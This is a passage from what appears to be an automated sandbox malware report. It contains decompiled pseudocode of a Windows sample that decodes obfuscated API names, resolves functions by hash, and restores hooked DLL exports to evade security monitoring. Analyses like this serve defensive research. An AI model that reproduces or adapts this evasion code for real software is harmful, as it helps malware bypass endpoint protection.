				_v568 = _t340;
				_t226 = GetProcAddress(_t340, E00F219B0( &_v680));
				 *_t226(_t287,  &_v532, 0x104);
				_v596 = 0;
				_v595 = 0x46;
				_v594 = 0x69;
				_v593 = 0x47;
				_v592 = 0x29;
				_v591 = 0x78;
				_v590 = 0x47;
				_v589 = 0x1d;
				_v588 = 0x65;
				_v587 = 0x3c;
				_v586 = 0x47;
				_v585 = 0x5d;
				_v584 = 0xc;
				GetProcAddress(_t340, E00F21950( &_v596));
				_t231 = CreateFileW( &_v532, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_t288 = _t231;
				if(_t288 == 0) {
					L34:
					return E00F37A82(_v8 ^ _t346);
				} else {
					_v612 = 0;
					_v611 = 0x7c;
					_v610 = 0x54;
					_v609 = 0x40;
					_v608 = 0x53;
					_v607 = 0x79;
					_v606 = 0x75;
					_v605 = 0x54;
					_v604 = 0x6c;
					_v603 = 0x79;
					_v602 = 0x38;
					_v601 = 0x54;
					_v600 = 7;
					_t235 = GetProcAddress(_t340, E00F218F0( &_v612));
					_v628 = 0;
					_v627 = 0x43;
					_v626 = 0x51;
					_v625 = 0x71;
					_v624 = 0x47;
					_v623 = 0x5b;
					_v622 = 0x4e;
					_v621 = 6;
					_v620 = 0x3c;
					_v619 = 0x26;
					_v618 = 0x51;
					_v617 = 0x5b;
					_v616 = 0x48;
					_t332 = GetProcAddress(_v568, E00F218B0( &_v628));
					_t240 =  *_t235(_t288,  &_v544);
					_v580 = _t240;
					if(_t240 == 0) {
						L33:
						 *_t332(_t288);
						goto L34;
					} else {
						_v700 = 0;
						_v699 = 0x3c;
						_v698 = 0x67;
						_v697 = 0x53;
						_v696 = 0x1c;
						_v695 = 0x43;
						_v694 = 0x53;
						_v693 = 6;
						_v692 = 0xb;
						_v691 = 0x54;
						_v690 = 0x53;
						_v689 = 7;
						_v688 = 0x1c;
						_v687 = 0xc;
						_v686 = 0xc;
						_v685 = 0xb;
						_v684 = 0x30;
						_v683 = 0x2f;
						_v682 = 0x51;
						_v681 = 0x7b;
						GetProcAddress(_v568, E00F21850( &_v700));
						_t245 = CreateFileMappingW(_t288, 0, 2, 0, 0, 0); // executed
						_t342 = _t245;
						if(_t342 == 0) {
							goto L33;
						} else {
							_v660 = 0;
							_v659 = 0x3f;
							_v658 = 0x77;
							_v657 = 0x22;
							_v656 = 0xc;
							_v655 = 0x74;
							_v654 = 0x36;
							_v653 = 0x4f;
							_v652 = 0x5e;
							_v651 = 6;
							_v650 = 0x12;
							_v649 = 0x74;
							_v648 = 0x63;
							_v647 = 0x36;
							_v646 = 0x4c;
							GetProcAddress(_v568, E00F217F0( &_v660));
							_t249 = MapViewOfFile(_t342, 4, 0, 0, _v580); // executed
							_v572 = _t249;
							if(_t249 == 0) {
								L32:
								 *_t332(_t342);
								goto L33;
							} else {
								_t308 =  *((intOrPtr*)(_t249 + 0x3c)) + _t249;
								if(( *(_t308 + 0x18) & 0x0000ffff) != _v576) {
									if(( *(_t308 + 0x18) & 0x0000ffff) != _v548) {
										goto L32;
									} else {
										_t253 = 0x88;
										goto L8;
									}
								} else {
									_t253 = 0x78;
									L8:
									_t343 = _v572;
									_v576 = _t343 + E00F21000( *((intOrPtr*)(_t253 + _t308)), _t343);
									_t255 = E00F21000( *((intOrPtr*)(_t343 + _t254 + 0x20)), _t343);
									_t289 = _t343 + _t255;
									_v580 = _t343 + _t255;
									_t334 = _t343 + E00F21000( *((intOrPtr*)(_t343 + E00F21000( *((intOrPtr*)(_t253 + _t308)), _t343) + 0x24)), _t343);
									_v548 = _t334;
									_t258 =  *((intOrPtr*)(_v576 + 0x18));
									if(_t258 == 0) {
										goto L34;
									} else {
										do {
											_v716 = _t258 - 1;
											_t260 = E00F21000( *_t289, _t343);
											_t290 = _v572;
											_t344 = _v572 + _t260;
											_t292 = E00F21000( *((intOrPtr*)(E00F21000( *((intOrPtr*)(_v576 + 0x1c)), _v572) + _t290 + ( *_t334 & 0x0000ffff) * 4)), _t290) + _v572;
											_v712 = _t292;
											if(E00F21080(_t292) != 0) {
												goto L30;
											} else {
												_t267 = GetProcAddress(_v704, _t344); // executed
												_t345 = _t267;
												if(_t345 == 0) {
													goto L30;
												} else {
													_t268 =  *_t345;
													if(_t268 == 0xe9 || _t268 == 0xff &&  *((char*)(_t345 + 1)) == 0x25) {
														if(_t292 == 0) {
															L24:
															_v536 = 0;
															_v540 = 0;
															_v564 = 0;
															_v563 = 0x3b;
															_v562 = 0x7c;
															_v561 = 0x6c;
															_v560 = 0x30;
															_v559 = 0x12;
															_v558 = 0x6e;
															_v557 = 0x22;
															_v556 = 0x70;
															_v555 = 0x6c;
															_v554 = 0x47;
															_v553 = 0x30;
															_v552 = 0x75;
															_v551 = 0x32;
															_v550 = 0x30;
															_v549 = 0x63;
															if(_v564 == 0) {
																_t319 = 0;
																_t190 = _t319 + 0x7f; // 0x7f
																_t336 = _t190;
																asm("o16 nop [eax+eax]");
																do {
																	asm("cdq");
																	asm("cdq");
																	 *(_t346 + _t319 - 0x22f) = ((( *(_t346 + _t319 - 0x22f) & 0x000000ff) - 0x63) * 0x37 % _t336 + 0x7f) % _t336;
																	_t319 = _t319 + 1;
																} while (_t319 < 0xf);
															}
															_t335 = GetProcAddress(_v568,  &_v563);
															_push( &_v536);
															_push(0x40);
															_push(0x40);
															_push(_t345);
															if( *_t335() == 0) {
																goto L34;
															} else {
																asm("movq xmm0, [ebx]");
																asm("movq [esi], xmm0");
																 *((short*)(_t345 + 8)) =  *((intOrPtr*)(_t292 + 8));
																_push( &_v540);
																_push(_v536);
																_push(0x40);
																_push(_t345);
																if( *_t335() == 0) {
																	goto L34;
																} else {
																	goto L29;
																}
															}
														} else {
															_v708 = 0;
															_t320 = 0;
															_t284 = _t292;
															_t338 = _t345 - _t292;
															while(1) {
																_t360 =  *_t284 -  *((intOrPtr*)(_t338 + _t284));
																if(_t360 < 0) {
																	break;
																}
																if(_t360 > 0) {
																	_t285 = 1;
																} else {
																	_t320 = _t320 + 1;
																	_t284 = _t284 + 1;
																	if(_t320 < 2) {
																		continue;
																	} else {
																		_t285 = _v708;
																	}
																}
																L22:
																if(_t285 == 0) {
																	L29:
																	_t334 = _v548;
																	goto L30;
																} else {
																	_t292 = _v712;
																	goto L24;
																}
																goto L35;
															}
															_t285 = _t284 | 0xffffffff;
															goto L22;
														}
													} else {
														goto L30;
													}
												}
											}
											goto L35;
											L30:
											_t334 =  &(_t334[1]);
											_t258 = _v716;
											_t289 = _v580 + 4;
											_t343 = _v572;
											_v580 = _v580 + 4;
											_v548 = _t334;
										} while (_t258 != 0);
										return E00F37A82(_v8 ^ _t346);
									}
								}
							}
						}
					}
				}
				L35:
			}















































































































































































    0x00f210d9
    0x00f210e0
    0x00f210e6
    0x00f210e8
    0x00f210ee
    0x00f210f8
    0x00f21102
    0x00f21109
    0x00f21110
    0x00f21117
    0x00f2111e
    0x00f21125
    0x00f2112c
    0x00f21133
    0x00f2113a
    0x00f21141
    0x00f21148
    0x00f2114f
    0x00f21156
    0x00f21163
    0x00f21176
    0x00f2117c
    0x00f21189
    0x00f21190
    0x00f21192
    0x00f21199
    0x00f211a0
    0x00f211a7
    0x00f211ae
    0x00f211b5
    0x00f211bc
    0x00f211c3
    0x00f211ca
    0x00f211d1
    0x00f211d8
    0x00f211df
    0x00f211e6
    0x00f211ed
    0x00f211f4
    0x00f211fb
    0x00f21202
    0x00f21209
    0x00f21216
    0x00f21229
    0x00f21238
    0x00f2123a
    0x00f21247
    0x00f2124e
    0x00f21255
    0x00f2125c
    0x00f21263
    0x00f2126a
    0x00f21271
    0x00f21278
    0x00f2127f
    0x00f21286
    0x00f2128d
    0x00f21294
    0x00f212a8
    0x00f212c3
    0x00f212c5
    0x00f212c9
    0x00f217dc
    0x00f217ec
    0x00f212cf
    0x00f212cf
    0x00f212dc
    0x00f212e3
    0x00f212ea
    0x00f212f1
    0x00f212f8
    0x00f212ff
    0x00f21306
    0x00f2130d
    0x00f21314
    0x00f2131b
    0x00f21322
    0x00f21329
    0x00f2133d
    0x00f2133f
    0x00f2134c
    0x00f21355
    0x00f2135c
    0x00f21363
    0x00f2136a
    0x00f21371
    0x00f21378
    0x00f2137f
    0x00f21386
    0x00f2138d
    0x00f21394
    0x00f2139b
    0x00f213b6
    0x00f213c0
    0x00f213c2
    0x00f213ca
    0x00f217d9
    0x00f217da
    0x00000000
    0x00f213d0
    0x00f213d0
    0x00f213dd
    0x00f213e4
    0x00f213eb
    0x00f213f2
    0x00f213f9
    0x00f21400
    0x00f21407
    0x00f2140e
    0x00f21415
    0x00f2141c
    0x00f21423
    0x00f2142a
    0x00f21431
    0x00f21438
    0x00f2143f
    0x00f21446
    0x00f2144d
    0x00f21454
    0x00f2145b
    0x00f21474
    0x00f21485
    0x00f21487
    0x00f2148b
    0x00000000
    0x00f21491
    0x00f21491
    0x00f2149e
    0x00f214a5
    0x00f214ac
    0x00f214b3
    0x00f214ba
    0x00f214c1
    0x00f214c8
    0x00f214cf
    0x00f214d6
    0x00f214dd
    0x00f214e4
    0x00f214eb
    0x00f214f2
    0x00f214f9
    0x00f21512
    0x00f21525
    0x00f21527
    0x00f2152f
    0x00f217d6
    0x00f217d7
    0x00000000
    0x00f21535
    0x00f21538
    0x00f21544
    0x00f21557
    0x00000000
    0x00f2155d
    0x00f2155d
    0x00000000
    0x00f2155d
    0x00f21546
    0x00f21546
    0x00f21562
    0x00f21562
    0x00f2157b
    0x00f21581
    0x00f2158b
    0x00f2158e
    0x00f21599
    0x00f215a2
    0x00f215a8
    0x00f215ad
    0x00000000
    0x00f215b3
    0x00f215b3
    0x00f215b8
    0x00f215be
    0x00f215c3
    0x00f215cb
    0x00f215ed
    0x00f215f5
    0x00f21602
    0x00000000
    0x00f21608
    0x00f2160f
    0x00f21615
    0x00f21619
    0x00000000
    0x00f2161f
    0x00f2161f
    0x00f21623
    0x00f21639
    0x00f21682
    0x00f21682
    0x00f2168c
    0x00f21696
    0x00f2169d
    0x00f216a4
    0x00f216ab
    0x00f216b2
    0x00f216b9
    0x00f216c0
    0x00f216c7
    0x00f216ce
    0x00f216d5
    0x00f216dc
    0x00f216e3
    0x00f216ea
    0x00f216f1
    0x00f216f8
    0x00f216ff
    0x00f21713
    0x00f21715
    0x00f21717
    0x00f21717
    0x00f2171a
    0x00f21720
    0x00f21730
    0x00f21736
    0x00f21739
    0x00f21740
    0x00f21741
    0x00f21720
    0x00f21759
    0x00f21761
    0x00f21762
    0x00f21764
    0x00f21766
    0x00f2176b
    0x00000000
    0x00f2176d
    0x00f2176d
    0x00f21771
    0x00f21779
    0x00f21783
    0x00f21784
    0x00f2178a
    0x00f2178c
    0x00f21791
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f21791
    0x00f2163b
    0x00f2163d
    0x00f21647
    0x00f21649
    0x00f2164b
    0x00f21650
    0x00f21655
    0x00f21657
    0x00000000
    0x00000000
    0x00f21659
    0x00f2166a
    0x00f2165b
    0x00f2165b
    0x00f2165c
    0x00f21660
    0x00000000
    0x00f21662
    0x00f21662
    0x00f21662
    0x00f21660
    0x00f21674
    0x00f21676
    0x00f21793
    0x00f21793
    0x00000000
    0x00f2167c
    0x00f2167c
    0x00000000
    0x00f2167c
    0x00000000
    0x00f21676
    0x00f21671
    0x00000000
    0x00f21671
    0x00000000
    0x00000000
    0x00000000
    0x00f21623
    0x00f21619
    0x00000000
    0x00f21799
    0x00f2179f
    0x00f217a2
    0x00f217a8
    0x00f217ab
    0x00f217b1
    0x00f217b7
    0x00f217bd
    0x00f217d5
    0x00f217d5
    0x00f215ad
    0x00f21544
    0x00f2152f
    0x00f2148b
    0x00f213ca
    0x00000000

    APIs
    • LoadLibraryA.KERNEL32(00000000), ref: 00F21176
    • GetProcAddress.KERNEL32(00000000,00000000), ref: 00F21229
    • GetProcAddress.KERNEL32(00000000,00000000), ref: 00F212A8
    • CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,00000104), ref: 00F212C3
    • GetProcAddress.KERNEL32(00000000,00000000), ref: 00F2133D
    • GetProcAddress.KERNEL32(?,00000000), ref: 00F213B4
    • GetProcAddress.KERNEL32(?,00000000), ref: 00F21474
    • CreateFileMappingW.KERNELBASE(00000000,00000000,00000002,00000000,00000000,00000000,?,?,00000104), ref: 00F21485
    • GetProcAddress.KERNEL32(?,00000000), ref: 00F21512
    • MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,?,?,?,00000104), ref: 00F21525
    • GetProcAddress.KERNELBASE(?,?), ref: 00F2160F
    • GetProcAddress.KERNEL32(?,0000003B), ref: 00F21753
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: AddressProc$File$Create$LibraryLoadMappingView
    • String ID: !$"$"$&$($)$+$-$/$0$0$0$0$2$3$4$6$6$8$:$:$:$;$<$<$<$?$@$@$C$C$F$G$G$G$G$G$H$H$L$N$O$Q$Q$Q$S$S$S$S$T$T$T$T$T$[$[$\$]$^$^$c$c$d$e$e$g$g$g$i$l$l$l$m$n$o$o$o$o$p$p$q$t$t$u$u$w$x$x$y$y${$|$|
    • API String ID: 2125492183-2118978487
    • Opcode ID: 7640da9049ff632ad179258cf40d70efc3daa149e927191327a4ebb1e2c9669d
    • Instruction ID: ff71a97cef1ae81e05cc8ffd1a394b3f21ec236060b4bbc7a0dfba2a2a79a36b
    • Opcode Fuzzy Hash: 7640da9049ff632ad179258cf40d70efc3daa149e927191327a4ebb1e2c9669d
    • Instruction Fuzzy Hash: 7E1223209086E8D9EB22D7289C5C7D9BFB46F66304F0400D9D58C6B282C7BA5FC9DF65
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F32A30 Relevance: 93.0, APIs: 2, Strings: 51, Instructions: 225sleepthreadCOMMONCrypto
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 1079 f32a30-f32a5c 1080 f32a60-f32a6d 1079->1080 1081 f32a89-f32a98 1080->1081 1082 f32a6f-f32a83 call f222a0 1080->1082 1086 f32a9a-f32aa7 1081->1086 1087 f32aff-f32b07 1081->1087 1082->1081 1090 f32ac3-f32ad7 1086->1090 1091 f32aa9-f32abd call f222a0 1086->1091 1088 f32b09-f32b0c 1087->1088 1089 f32b0e 1087->1089 1092 f32b13-f32b28 1088->1092 1089->1092 1099 f32af3-f32afa Sleep 1090->1099 1100 f32ad9-f32aed call f222a0 1090->1100 1091->1090 1094 f32b44-f32b4e 1092->1094 1095 f32b2a-f32b3e call f222a0 1092->1095 1104 f32b50-f32b66 call f39872 1094->1104 1105 f32b86-f32b8d call f32600 1094->1105 1095->1094 1099->1080 1100->1099 1113 f32b82-f32b84 RtlExitUserThread 1104->1113 1114 f32b68-f32b7c call f222a0 1104->1114 1109 f32b92-f32b98 1105->1109 1111 f32b9e 1109->1111 1112 f32d8d-f32d96 call f39872 1109->1112 1115 f32ba0-f32cd0 1111->1115 1112->1080 1113->1105 1114->1113 1118 f32cd2 1115->1118 1119 f32cf7-f32d20 call f2fdd0 1115->1119 1122 f32cd4-f32cf5 1118->1122 1125 f32d22-f32d24 1119->1125 1126 f32d3b-f32d5c call f237c0 call f35950 1119->1126 1122->1119 1122->1122 1127 f32d27-f32d30 1125->1127 1133 f32d66 1126->1133 1134 f32d5e-f32d64 1126->1134 1127->1127 1130 f32d32-f32d39 1127->1130 1130->1126 1135 f32d6a-f32d87 call f39872 1133->1135 1134->1135 1135->1112 1135->1115
    C-Code - Quality: 69%
    			E00F32A30() {
				signed int _v8;
				char* _v12;
				char _v16;
				signed int* _v20;
				signed int _v24;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				signed int _t111;
				intOrPtr _t114;
				intOrPtr* _t115;
				signed int* _t117;
				intOrPtr _t119;
				signed int _t120;
				signed int _t127;
				signed int* _t130;
				signed int _t133;
				signed int _t134;
				intOrPtr _t144;
				intOrPtr _t147;
				intOrPtr _t148;
				intOrPtr* _t149;
				intOrPtr _t151;
				intOrPtr _t153;
				signed int _t155;
				void* _t156;
				signed int _t157;
				intOrPtr _t161;
				intOrPtr _t163;
				intOrPtr _t165;
				signed int _t168;
				signed int _t170;
				signed int _t171;
				intOrPtr _t173;
				intOrPtr _t175;
				signed int _t182;
				WCHAR* _t185;
				signed int _t186;
				signed int _t187;
				signed int _t189;
				signed int _t190;

				_t189 = (_t187 & 0xfffffff8) - 0x4c;
				_t111 =  *0xf4a004; // 0x355216d4
				_v8 = _t111 ^ _t189;
				_push(_t186);
				_v16 = 0;
				_push(_t185);
				_v12 =  &_v16;
				_t155 = 0x7f;
				while(1) {
					L1:
					_t114 =  *0xf4c2ec; // 0xddcc10
					_t115 =  *((intOrPtr*)(_t114 + 0x84));
					if(_t115 == 0) {
						_t115 = E00F222A0(_t155, 0, 0, _t185, _t186, 0x21cca665);
						_t161 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t161 + 0x84)) = _t115;
					}
					 *_t115(0xf4c348);
					_t185 =  *0xf4c368; // 0x0
					if(_t185 == 0) {
						break;
					}
					_t157 =  *(_t185 + 0x30);
					_t117 =  *(_t185 + 0x34);
					__eflags = _t157;
					if(_t157 == 0) {
						 *0xf4c36c = _t117;
					} else {
						 *(_t157 + 0x34) = _t117;
					}
					 *( *(_t185 + 0x34)) =  *(_t185 + 0x30);
					_t119 =  *0xf4c2ec; // 0xddcc10
					_t120 =  *(_t119 + 0x8c);
					__eflags = _t120;
					if(_t120 == 0) {
						__eflags = 0;
						_t120 = E00F222A0(_t155, 0, 0, _t185, _t186, 0xf99eabb9);
						_t175 =  *0xf4c2ec; // 0xddcc10
						 *(_t175 + 0x8c) = _t120;
					}
					 *_t120(0xf4c348);
					__eflags =  *_t185 - 0xffffffff;
					if( *_t185 == 0xffffffff) {
						E00F39872(_t185);
						_t144 =  *0xf4c2ec; // 0xddcc10
						_t189 = _t189 + 4;
						__eflags =  *(_t144 + 0x98);
						if( *(_t144 + 0x98) == 0) {
							__eflags = 0;
							_t147 = E00F222A0(_t155, 0, 0, _t185, _t186, 0xb87c8bb7);
							_t173 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t173 + 0x98)) = _t147;
						}
						_push(0); // executed
						RtlExitUserThread();
					}
					_t20 = _t185 + 4; // 0x4
					E00F32600(_t155, _t20,  &_v24, _t185, _t186); // executed
					_t186 = _v24;
					__eflags = _t186;
					if(_t186 == 0) {
						L31:
						E00F39872(_t185);
						_t189 = _t189 + 4;
						continue;
					} else {
						do {
							_v84 = 0;
							_v83 = 0x7b;
							_v82 = 0x2a;
							_v81 = 0x5e;
							_v80 = 0x2a;
							_v79 = 0x67;
							_v78 = 0x2a;
							_v77 = 0x73;
							_v76 = 0x2a;
							_v75 = 0x5e;
							_v74 = 0x2a;
							_v73 = 0x13;
							_v72 = 0x2a;
							_v71 = 0x1e;
							_v70 = 0x2a;
							_v69 = 0x28;
							_v68 = 0x2a;
							_v67 = 0x57;
							_v66 = 0x2a;
							_v65 = 0x29;
							_v64 = 0x2a;
							_v63 = 0x3d;
							_v62 = 0x2a;
							_v61 = 0x67;
							_v60 = 0x2a;
							_v59 = 0x73;
							_v58 = 0x2a;
							_v57 = 0x52;
							_v56 = 0x2a;
							_v55 = 0x5d;
							_v54 = 0x2a;
							_v53 = 0x57;
							_v52 = 0x2a;
							_v51 = 0x53;
							_v50 = 0x2a;
							_v49 = 0x1e;
							_v48 = 0x2a;
							_v47 = 0x57;
							_v46 = 0x2a;
							_v45 = 0x29;
							_v44 = 0x2a;
							_v43 = 0x5d;
							_v42 = 0x2a;
							_v41 = 0x67;
							_v40 = 0x2a;
							_v39 = 0x73;
							_v38 = 0x2a;
							_v37 = 0x3d;
							_v36 = 0x2a;
							_v35 = 0x57;
							_v34 = 0x2a;
							_v33 = 0x62;
							_v32 = 0x2a;
							_v31 = 0x29;
							_v30 = 0x2a;
							_v29 = 0x43;
							_v28 = 0x2a;
							_v27 = 0x2a;
							_v26 = 0x2a;
							__eflags = _v84;
							if(_v84 != 0) {
								L23:
								_t100 =  &_v83; // 0x67
								E00F2FDD0(_t155, _t185, _t186, _t100, _v24);
								_t190 = _t189 - 0x10;
								_t127 = 0;
								_t182 = _t190;
								 *((intOrPtr*)(_t182 + 0x14)) = 7;
								 *((intOrPtr*)(_t182 + 0x10)) = 0;
								 *_t182 = 0;
								__eflags =  *_t186;
								if( *_t186 == 0) {
									goto L27;
								}
								_t133 = _t186;
								_t156 = _t133 + 2;
								do {
									_t170 =  *_t133;
									_t133 = _t133 + 2;
									__eflags = _t170;
								} while (_t170 != 0);
								_t134 = _t133 - _t156;
								__eflags = _t134;
								_t155 = 0x7f;
								_t127 = _t134 >> 1;
								goto L27;
							}
							_t171 = 0;
							__eflags = 0;
							do {
								asm("cdq");
								asm("cdq");
								 *(_t189 + _t171 + 0x11) = ((( *(_t189 + _t171 + 0x11) & 0x000000ff) - 0x2a + (( *(_t189 + _t171 + 0x11) & 0x000000ff) - 0x2a) * 2 << 2) % _t155 + 0x7f) % _t155;
								_t171 = _t171 + 1;
								__eflags = _t171 - 0x3a;
							} while (_t171 < 0x3a);
							goto L23;
							L27:
							E00F237C0(_t182, _t186, _t127);
							E00F35950(_t155, 1, _t182, _t185, _t186, __eflags);
							_t168 =  *(_t186 + 0x7d00);
							_t130 =  *(_t186 + 0x7d04);
							__eflags = _t168;
							if(_t168 == 0) {
								_v20 = _t130;
							} else {
								 *(_t168 + 0x7d04) = _t130;
							}
							 *( *(_t186 + 0x7d04)) =  *(_t186 + 0x7d00);
							E00F39872(_t186);
							_t186 = _v24;
							_t189 = _t190 + 4;
							__eflags = _t186;
						} while (_t186 != 0);
						goto L31;
					}
				}
				_t148 =  *0xf4c2ec; // 0xddcc10
				_t149 =  *((intOrPtr*)(_t148 + 0x8c));
				if(_t149 == 0) {
					_t149 = E00F222A0(_t155, 0, 0, _t185, _t186, 0xf99eabb9);
					_t163 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t163 + 0x8c)) = _t149;
				}
				 *_t149(0xf4c348);
				_t151 =  *0xf4c2ec; // 0xddcc10
				if( *((intOrPtr*)(_t151 + 0xa0)) == 0) {
					_t153 = E00F222A0(_t155, 0, 0, _t185, _t186, 0xe4b69f3b);
					_t165 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t165 + 0xa0)) = _t153;
				}
				Sleep(0x3e8); // executed
				goto L1;
			}




































































































    0x00f32a36
    0x00f32a39
    0x00f32a40
    0x00f32a45
    0x00f32a4a
    0x00f32a52
    0x00f32a53
    0x00f32a57
    0x00f32a60
    0x00f32a60
    0x00f32a60
    0x00f32a65
    0x00f32a6d
    0x00f32a78
    0x00f32a7d
    0x00f32a83
    0x00f32a83
    0x00f32a8e
    0x00f32a90
    0x00f32a98
    0x00000000
    0x00000000
    0x00f32aff
    0x00f32b02
    0x00f32b05
    0x00f32b07
    0x00f32b0e
    0x00f32b09
    0x00f32b09
    0x00f32b09
    0x00f32b19
    0x00f32b1b
    0x00f32b20
    0x00f32b26
    0x00f32b28
    0x00f32b31
    0x00f32b33
    0x00f32b38
    0x00f32b3e
    0x00f32b3e
    0x00f32b49
    0x00f32b4b
    0x00f32b4e
    0x00f32b51
    0x00f32b56
    0x00f32b5b
    0x00f32b64
    0x00f32b66
    0x00f32b6f
    0x00f32b71
    0x00f32b76
    0x00f32b7c
    0x00f32b7c
    0x00f32b82
    0x00f32b84
    0x00f32b84
    0x00f32b86
    0x00f32b8d
    0x00f32b92
    0x00f32b96
    0x00f32b98
    0x00f32d8d
    0x00f32d8e
    0x00f32d93
    0x00000000
    0x00f32ba0
    0x00f32ba0
    0x00f32ba0
    0x00f32ba5
    0x00f32baa
    0x00f32baf
    0x00f32bb4
    0x00f32bb9
    0x00f32bbe
    0x00f32bc3
    0x00f32bc8
    0x00f32bcd
    0x00f32bd2
    0x00f32bd7
    0x00f32bdc
    0x00f32be1
    0x00f32be6
    0x00f32beb
    0x00f32bf0
    0x00f32bf5
    0x00f32bfa
    0x00f32bff
    0x00f32c04
    0x00f32c09
    0x00f32c0e
    0x00f32c13
    0x00f32c18
    0x00f32c1d
    0x00f32c22
    0x00f32c27
    0x00f32c2c
    0x00f32c31
    0x00f32c36
    0x00f32c3b
    0x00f32c40
    0x00f32c45
    0x00f32c4a
    0x00f32c4f
    0x00f32c54
    0x00f32c59
    0x00f32c5e
    0x00f32c63
    0x00f32c68
    0x00f32c6d
    0x00f32c72
    0x00f32c77
    0x00f32c7c
    0x00f32c81
    0x00f32c86
    0x00f32c8b
    0x00f32c90
    0x00f32c95
    0x00f32c9a
    0x00f32c9f
    0x00f32ca4
    0x00f32ca9
    0x00f32cae
    0x00f32cb3
    0x00f32cb8
    0x00f32cbd
    0x00f32cc2
    0x00f32ccb
    0x00f32cd0
    0x00f32cf7
    0x00f32cfb
    0x00f32d00
    0x00f32d05
    0x00f32d08
    0x00f32d0a
    0x00f32d0c
    0x00f32d13
    0x00f32d1a
    0x00f32d1d
    0x00f32d20
    0x00000000
    0x00000000
    0x00f32d22
    0x00f32d24
    0x00f32d27
    0x00f32d27
    0x00f32d2a
    0x00f32d2d
    0x00f32d2d
    0x00f32d32
    0x00f32d32
    0x00f32d34
    0x00f32d39
    0x00000000
    0x00f32d39
    0x00f32cd2
    0x00f32cd2
    0x00f32cd4
    0x00f32ce4
    0x00f32cea
    0x00f32ced
    0x00f32cf1
    0x00f32cf2
    0x00f32cf2
    0x00000000
    0x00f32d3b
    0x00f32d3f
    0x00f32d49
    0x00f32d4e
    0x00f32d54
    0x00f32d5a
    0x00f32d5c
    0x00f32d66
    0x00f32d5e
    0x00f32d5e
    0x00f32d5e
    0x00f32d77
    0x00f32d79
    0x00f32d7e
    0x00f32d82
    0x00f32d85
    0x00f32d85
    0x00000000
    0x00f32ba0
    0x00f32b98
    0x00f32a9a
    0x00f32a9f
    0x00f32aa7
    0x00f32ab2
    0x00f32ab7
    0x00f32abd
    0x00f32abd
    0x00f32ac8
    0x00f32aca
    0x00f32ad7
    0x00f32ae2
    0x00f32ae7
    0x00f32aed
    0x00f32aed
    0x00f32af8
    0x00000000

    APIs
    • Sleep.KERNELBASE(000003E8), ref: 00F32AF8
    • RtlExitUserThread.NTDLL(00000000), ref: 00F32B84
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ExitSleepThreadUser
    • String ID: ($)$)$)$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$=$=$C$R$S$W$W$W$W$]$]$^$b$g$g$g*^*{$s$s${
    • API String ID: 3375650085-4231912577
    • Opcode ID: f3e5beb4a4cb677cdf9a7c70a20f2a37f3205f7fb56a6c5e461946dac35d20fa
    • Instruction ID: ee8e3ebb1c7e4d48f7c011cef9d77c119f682b3010f4c393f0c3725064f6eaf2
    • Opcode Fuzzy Hash: f3e5beb4a4cb677cdf9a7c70a20f2a37f3205f7fb56a6c5e461946dac35d20fa
    • Instruction Fuzzy Hash: 9EA15E3060D3C19EE351CB28D45871ABFE1AB97318F48589DE4C48B282D7BAD60997A3
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F2C0A0 Relevance: 91.4, APIs: 2, Strings: 50, Instructions: 389COMMONCrypto
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
